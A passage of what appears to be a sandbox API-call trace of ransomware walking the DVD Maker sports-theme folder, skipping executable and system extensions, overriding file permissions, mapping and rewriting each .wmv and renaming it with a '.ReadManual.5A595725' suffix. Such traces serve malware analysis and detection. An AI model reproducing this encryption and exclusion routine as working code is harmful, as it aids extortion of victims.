Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.376] GetLastError () returned 0x5 [0255.376] GetNamedSecurityInfoW () returned 0x0 [0255.376] SetNamedSecurityInfoW () returned 0x0 [0255.376] SetNamedSecurityInfoW () returned 0x0 [0255.377] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.377] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1589606) returned 1 [0255.377] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x184166, lpName=0x0) returned 0x1a0 [0255.377] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0255.378] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.378] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.380] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.381] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x184166) returned 0x4350000 [0255.439] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37610947590) returned 1 [0255.441] CloseHandle (hObject=0x1a0) returned 1 [0255.441] SetSecurityInfo () returned 0x5 [0255.441] SetSecurityInfo () returned 0x5 [0255.441] LocalFree (hMem=0x674d38) returned 0x0 [0255.441] CloseHandle (hObject=0x184) returned 1 [0255.441] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0255.441] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsMainToScenesBackground_PAL.wmv" | out: lpString1="SportsMainToScenesBackground_PAL.wmv") returned="SportsMainToScenesBackground_PAL.wmv" [0255.441] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0255.441] StrStrIW (lpFirst="SportsMainToScenesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.441] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.441] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.442] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.442] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" [0255.442] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ReadManual.5A595725" [0255.442] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ReadManual.5A595725") returned 111 [0255.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37611054987) returned 1 [0255.442] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0x20 [0255.442] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.442] GetLastError () returned 0x5 [0255.442] GetNamedSecurityInfoW () returned 0x0 [0255.442] SetNamedSecurityInfoW () returned 0x0 [0255.443] SetNamedSecurityInfoW () returned 0x0 [0255.443] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.444] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1613606) returned 1 [0255.444] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x189f26, lpName=0x0) returned 0x1a0 [0255.444] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0255.444] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.444] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.446] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.447] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x189f26) returned 0x4350000 [0255.510] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.512] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37618351654) returned 1 [0255.515] CloseHandle (hObject=0x1a0) returned 1 [0255.515] SetSecurityInfo () returned 0x5 [0255.515] SetSecurityInfo () returned 0x5 [0255.515] LocalFree (hMem=0x674d38) returned 0x0 [0255.515] CloseHandle (hObject=0x184) returned 1 [0255.515] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0255.515] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsNotesBackground.wmv" | out: lpString1="SportsNotesBackground.wmv") returned="SportsNotesBackground.wmv" [0255.515] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="RecoveryManual.html") returned 1 [0255.515] StrStrIW (lpFirst="SportsNotesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.515] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.515] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.515] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.515] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.516] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.516] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" [0255.516] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ReadManual.5A595725" [0255.516] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ReadManual.5A595725") returned 100 [0255.516] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37618465128) returned 1 [0255.516] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0x20 [0255.516] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.516] GetLastError () returned 0x5 [0255.516] GetNamedSecurityInfoW () returned 0x0 [0255.517] SetNamedSecurityInfoW () returned 0x0 [0255.517] SetNamedSecurityInfoW () returned 0x0 [0255.518] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.518] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6717684) returned 1 [0255.518] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6680f4, lpName=0x0) returned 0x1a0 [0255.518] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0255.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.519] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.521] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.522] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6680f4) returned 0x4350000 [0255.885] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0255.900] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37656912883) returned 1 [0255.900] CloseHandle (hObject=0x1a0) returned 1 [0255.900] SetSecurityInfo () returned 0x5 [0255.901] SetSecurityInfo () returned 0x5 [0255.901] LocalFree (hMem=0x674d38) returned 0x0 [0255.901] CloseHandle (hObject=0x184) returned 1 [0255.901] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0255.901] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsNotesBackground_PAL.wmv" | out: lpString1="SportsNotesBackground_PAL.wmv") returned="SportsNotesBackground_PAL.wmv" [0255.901] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0255.901] StrStrIW (lpFirst="SportsNotesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0255.901] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0255.901] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0255.901] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" [0255.901] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ReadManual.5A595725" [0255.901] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ReadManual.5A595725") returned 104 [0255.902] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37657036757) returned 1 [0255.902] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0x20 [0255.902] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.903] GetLastError () returned 0x5 [0255.903] GetNamedSecurityInfoW () returned 0x0 [0255.903] SetNamedSecurityInfoW () returned 0x0 [0255.903] SetNamedSecurityInfoW () returned 0x0 [0255.905] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0255.906] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6765684) returned 1 [0255.906] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x673c74, lpName=0x0) returned 0x1a0 [0255.906] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0255.906] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.906] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0255.909] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0255.909] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x673c74) returned 0x4350000 [0256.172] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0256.194] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37686290318) returned 1 [0256.194] CloseHandle (hObject=0x1a0) returned 1 [0256.194] SetSecurityInfo () returned 0x5 [0256.194] SetSecurityInfo () returned 0x5 [0256.194] LocalFree (hMem=0x674d38) returned 0x0 [0256.194] CloseHandle (hObject=0x184) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0256.195] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsScenesBackground.wmv" | out: lpString1="SportsScenesBackground.wmv") returned="SportsScenesBackground.wmv" [0256.195] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="RecoveryManual.html") returned 1 [0256.195] StrStrIW (lpFirst="SportsScenesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0256.195] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0256.195] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0256.195] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" [0256.195] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ReadManual.5A595725" [0256.195] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ReadManual.5A595725") returned 101 [0256.195] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37686418998) returned 1 [0256.195] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0x20 [0256.196] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.196] GetLastError () returned 0x5 [0256.196] GetNamedSecurityInfoW () returned 0x0 [0256.196] SetNamedSecurityInfoW () returned 0x0 [0256.197] SetNamedSecurityInfoW () returned 0x0 [0256.197] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0256.197] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2925684) returned 1 [0256.198] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ca474, lpName=0x0) returned 0x1a0 [0256.198] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0256.198] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.198] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0256.200] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0256.201] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ca474) returned 0x4350000 [0256.468] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0256.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37714389165) returned 1 [0256.475] CloseHandle (hObject=0x1a0) returned 1 [0256.475] SetSecurityInfo () returned 0x5 [0256.475] SetSecurityInfo () returned 0x5 [0256.475] LocalFree (hMem=0x674d38) returned 0x0 [0256.475] CloseHandle (hObject=0x184) returned 1 [0256.476] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, 